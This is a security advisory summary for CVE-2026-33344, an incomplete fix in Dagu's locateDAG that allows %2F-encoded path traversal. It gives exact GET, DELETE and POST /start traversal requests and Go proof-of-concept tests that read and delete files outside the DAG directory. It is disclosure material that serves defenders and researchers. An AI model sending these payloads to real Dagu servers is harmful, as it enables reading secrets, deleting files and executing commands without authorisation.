# Dagu has an incomplete fix for CVE-2026-27598: path traversal via %2F-encoded slashes in locateDAG

Incomplete fix for CVE-2026-27598 left locateDAG unvalidated; %2F-encoded slashes in {fileName} let authenticated users read, delete, or execute arbitrary YAML files outside the DAGs directory.

- Payout: Research
- Severity: high
- Program: Dagu
- Found by: vnykmshr
- Disclosed: 2026-03-19
- CVE: CVE-2026-33344
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ph8x-4jfv-v9v8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-ph8x-4jfv-v9v8
- Tags: area:web domain:api domain:web impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** Dagu HTTP API /dags/{fileName} endpoints (chi v5 + oapi-codegen)
**Root cause:** locateDAG accepts any nameOrPath containing a filepath.Separator and resolves it via findDAGFile with filepath.Abs, checking only existence and .yaml extension, with no containment check against baseDir. The prior fix only validated the CREATE path.
**Steps:**
1. Note chi v5 captures `..%2F..%2Fetc%2Ftarget.yaml` as a single {fileName} segment via RawPath; oapi-codegen calls url.PathUnescape producing `../../etc/target.yaml`.
2. Send `GET /dags/..%2F..%2Fetc%2Ftarget.yaml/spec` to read arbitrary YAML outside baseDir.
3. Send `DELETE /dags/..%2F..%2F..%2Ftmp%2Fimportant.yaml` to delete arbitrary YAML.
4. Send `POST /dags/..%2F..%2F..%2Ftmp%2Fevil.yaml/start` to load and execute an attacker-controlled YAML as a workflow.
5. Store-level repro: create store with baseDir, write secret.yaml in a sibling temp dir, call store.GetSpec(ctx, rel) where rel is filepath.Rel(baseDir, target).
**How found:** Reviewed the CVE-2026-27598 fix (commit e2ed589, PR #1691) and noticed it only added ValidateDAGName to CreateNewDAG and rewrote generateFilePath; the new locateDAG code path introduced in the same v2.0.0 release (PR #1573) still trusted any name containing a separator. Then verified chi v5 RawPath behavior and oapi-codegen's PathUnescape to confirm %2F survives routing as one segment and decodes to a real slash.
**Exploitation:** Any authenticated user (or unauthenticated when auth.mode=none) issues requests to /dags/{fileName}/spec, DELETE /dags/{fileName}, or /dags/{fileName}/start with %2F-encoded traversal in the fileName segment. The decoded path reaches locateDAG, which resolves it via filepath.Abs and returns it if the file exists with a .yaml/.yml extension. Read leaks file contents; delete removes files; start loads the YAML as a DAG and executes its shell commands as the dagu process user.
**Escalation:** Read of K8s secrets or app configs stored as YAML; execute endpoint can escalate to RCE if a target YAML with valid DAG syntax and shell commands exists on disk.
**Insight:** When a fix lands alongside a rewrite, diff the new code paths introduced in the same release rather than only the patched function; here locateDAG was added in the same PR series as the CVE fix and never got the validation. Also check whether the framework (chi RawPath) preserves %2F as a single segment and whether the codegen layer unescapes it before it reaches filesystem code.

## Proof of concept (copied exactly from the original report)

**Store-level Go test proving arbitrary file read/delete**

```
func TestLocateDAGPathTraversal(t *testing.T) {
    baseDir, _ := os.MkdirTemp("", "bd")
    defer os.RemoveAll(baseDir)
    outsideDir, _ := os.MkdirTemp("", "od")
    defer os.RemoveAll(outsideDir)

    store := filedag.New(baseDir, filedag.WithSkipExamples(true))
    ctx := context.Background()
    store.Create(ctx, "legit", []byte("name: legit\nsteps:\n  - name: s\n    command: echo ok\n"))

    target := filepath.Join(outsideDir, "secret.yaml")
    os.WriteFile(target, []byte("password: hunter2\ndb_host: prod-db.internal\n"), 0644)

    rel, _ := filepath.Rel(baseDir, target)
    spec, _ := store.GetSpec(ctx, rel)
    fmt.Println(spec)
}

Output:

baseDir:    /tmp/bd1816472583
targetFile: /tmp/od3906487343/secret.yaml
traversal:  ../od3906487343/secret.yaml

=== GetSpec (arbitrary file read) ===
SUCCESS: read file outside baseDir
Content:
password: hunter2
db_host: prod-db.internal

=== Delete (arbitrary file delete) ===
SUCCESS: deleted /tmp/od3906487343/important.yaml
```

**Chi router %2F-encoded traversal HTTP PoC**

```
r := chi.NewRouter()
r.Get("/dags/{fileName}/spec", func(w http.ResponseWriter, r *http.Request) {
    raw := chi.URLParam(r, "fileName")
    decoded, _ := url.PathUnescape(raw)
    fmt.Fprintf(w, "raw=%s\ndecoded=%s\n", raw, decoded)
})

req := httptest.NewRequest("GET", "/dags/..%2F..%2Fetc%2Ftarget.yaml/spec", nil)
w := httptest.NewRecorder()
r.ServeHTTP(w, req)

Output:

path: /dags/..%2F..%2Fetc%2Fpasswd/spec
status: 200
raw=..%2F..%2Fetc%2Fpasswd
decoded=../../etc/passwd
```

